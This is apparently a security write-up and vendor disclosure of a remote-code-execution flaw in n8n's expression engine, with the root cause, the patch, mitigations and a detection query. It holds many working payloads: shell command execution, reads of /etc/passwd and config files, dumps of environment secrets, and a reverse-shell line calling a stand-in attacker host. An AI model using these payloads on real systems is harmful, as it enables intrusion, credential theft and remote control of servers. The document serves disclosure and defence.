{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

User Input
  ↓
{{ (function() { ... })() }}
  ↓
Expression.resolveSimpleParameterValue()
  ↓
Create data context object
  ↓
data.process = reference to real process object
  ↓
Tournament.execute(expression, data)
  ↓
FunctionEvaluator.evaluate()
  ↓
fn.call(data, errorHandler)  ← ⚠️ Key: this = data
  ↓
IIFE execution
  ↓
this.process.mainModule.require ← ⚠️ Access real require
  ↓
Load child_process module
  ↓
execSync('id') ← 🔥 Full RCE!

// Generate data proxy
const dataProxy = new WorkflowDataProxy(
	this.workflow,
	runExecutionData,
	runIndex,
	itemIndex,
	activeNodeName,
	connectionInputData,
	siblingParameters,
	mode,
	additionalKeys,
	executeData,
	-1,
	selfData,
	contextNodeName,
);
const data = dataProxy.getDataProxy();

// ⚠️ Vulnerability Point 1: Add process object to data
data.process =
	typeof process !== 'undefined'
		? {
			arch: process.arch,
			env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
			platform: process.platform,
			pid: process.pid,
			ppid: process.ppid,
			release: process.release,
			version: process.pid,
			versions: process.versions,
		}
		: {};

// ⚠️ Issue: Although only some properties are exposed here, object references are passed
// The actual process object can still be accessed via prototype chain or other methods

evaluate(expr
:
string, data
:
unknown
):
ReturnValue
{
	const fn = this.getFunction(expr);
	// ⚠️ Vulnerability Point 2: Pass data as this
	return fn.call(data, this.instance.errorHandler);
}

private
getFunction(expr
:
string
):
Function
{
	if (expr in this._codeCache) {
		return this._codeCache[expr];
	}
	const [code] = this.instance.getExpressionCode(expr);
	// ⚠️ Vulnerability Point 3: Use new Function to create function
	const func = new Function('E', code + ';');
	this._codeCache[expr] = func;
	return func;
}

// ❌ No FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [],  // ← Empty array, no this sanitization
	after: [PrototypeSanitizer, DollarSignValidator],
});

// ✅ Added FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
	before: [FunctionThisSanitizer],  // ← New hook
	after: [PrototypeSanitizer, DollarSignValidator],
});

// FunctionThisSanitizer implementation
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	astVisit(ast, {
		visitFunction(path) {
			// Rewrite all function expressions to explicitly bind this to a safe object
			const safeThis = b.objectExpression([
				b.property('init', b.identifier('process'), b.objectExpression([]))
			]);
			// Rewrite function() { ... } to function() { ... }.bind({ process: {} })
		}
	});
};

const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf'
]);
// ❌ Missing mainModule, binding, _load

const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ✅ Added
	'binding',       // ✅ Added
	'_load'          // ✅ Added
]);

{
	{
		(function () {
			var require = this.process.mainModule.require;
			var {execSync} = require('child_process');
			return execSync('id', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('whoami', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('pwd', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('uname -a', {encoding: 'utf8'}).trim();
		})()
	}
}

{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('ls -la /', {encoding: 'utf8'});
		})()
	}
}

// Read sensitive files
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('/etc/passwd', 'utf8');
		})()
	}
}

// List directories
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('/').join('\n');
		})()
	}
}

// Read n8n config
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readFileSync('./.n8n/config', 'utf8');
		})()
	}
}

// List current directory
{
	{
		(function () {
			var fs = this.process.mainModule.require('fs');
			return fs.readdirSync('.').join('\n');
		})()
	}
}

// Direct access via this.process
{
	{
		(function () {
			return JSON.stringify(this.process.env);
		})()
	}
}

// Or using a known working method
{
	{
		JSON.stringify(process.env)
	}
}

// Check for network tools
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('which nc', {encoding: 'utf8'}).trim();
		})()
	}
}

// Get network interfaces
{
	{
		(function () {
			var os = this.process.mainModule.require('os');
			return JSON.stringify(os.networkInterfaces());
		})()
	}
}

// Reverse Shell (⚠️ Dangerous! Authorized testing only)
{
	{
		(function () {
			return this.process.mainModule.require('child_process')
				.execSync('nc -e /bin/sh attacker-ip 4444', {encoding: 'utf8'});
		})()
	}
}

{
	{
		Object.keys(process.env)
	}
}  // ✅ Success

{
	{
		[][`constructor`][`constructor`]
	}
}  // ✅ Success

{
	{
		(function () {
			return this.process.mainModule.require;
		})()
	}
}  // ✅ Success

// New AST before hook
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
	// Traverse all function expressions
	// Rewrite functions to forcefully bind this to { process: {} }
	// So even IIFE, this is a safe empty object
};

const unsafeObjectProperties = new Set([
	'__proto__',
	'prototype',
	'constructor',
	'getPrototypeOf',
	'mainModule',    // ← Added
	'binding',       // ← Added
	'_load'          // ← Added
]);

// Possibly changed default to true
data.process = {
	env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE !== 'false' ? {} : process.env,
	// ...
};

# Method 1: Export environment variable
export N8N_BLOCK_ENV_ACCESS_IN_NODE=true

# Method 2: In .env file
echo "N8N_BLOCK_ENV_ACCESS_IN_NODE=true" >> .env

# Method 3: Docker Compose
environment:
  - N8N_BLOCK_ENV_ACCESS_IN_NODE=true

# npm
npm install -g n8n@latest

# Docker
docker pull docker.n8n.io/n8nio/n8n:latest
docker-compose down
docker-compose up -d

# Verify version
n8n --version  # Should be >= 1.122.0

-- If using PostgreSQL
SELECT name, nodes
FROM workflows
WHERE nodes::text LIKE '%process%'
   OR nodes::text LIKE '%constructor%'
   OR nodes::text LIKE '%mainModule%'
   OR nodes::text LIKE '%require%';

# docker-compose.yml
services:
	n8n:
		image: docker.n8n.io/n8nio/n8n:latest
		read_only: true
		security_opt:
			- no-new-privileges:true
			- seccomp=seccomp-profile.json
		cap_drop:
			- ALL
		cap_add:
			- CHOWN
			- SETGID
			- SETUID
		environment:
			- N8N_BLOCK_ENV_ACCESS_IN_NODE=true

To: [email protected]
Subject: [CRITICAL] RCE 0-day Vulnerability - IIFE this Context Bypass

Severity: CVSS 10.0 (Critical)
Affected Versions: n8n < 1.122.0

Summary:
A critical RCE vulnerability was discovered that allows authenticated users to
access process.mainModule.require via an Immediately Invoked Function Expression (IIFE),
enabling arbitrary system command execution.

Verified PoC:
{{ (function() {
    var require = this.process.mainModule.require;
    var { execSync } = require('child_process');
    return execSync('id', { encoding: 'utf8' }).trim();
})() }}

Root Cause:
1. IIFE's 'this' not sanitized
2. process.mainModule not blocked
3. N8N_BLOCK_ENV_ACCESS_IN_NODE defaults to false

Suggested Fix:
1. Implement FunctionThisSanitizer hook
2. Add mainModule, binding, _load to blacklist
3. Enable environment variable protection by default

See attachment for detailed analysis.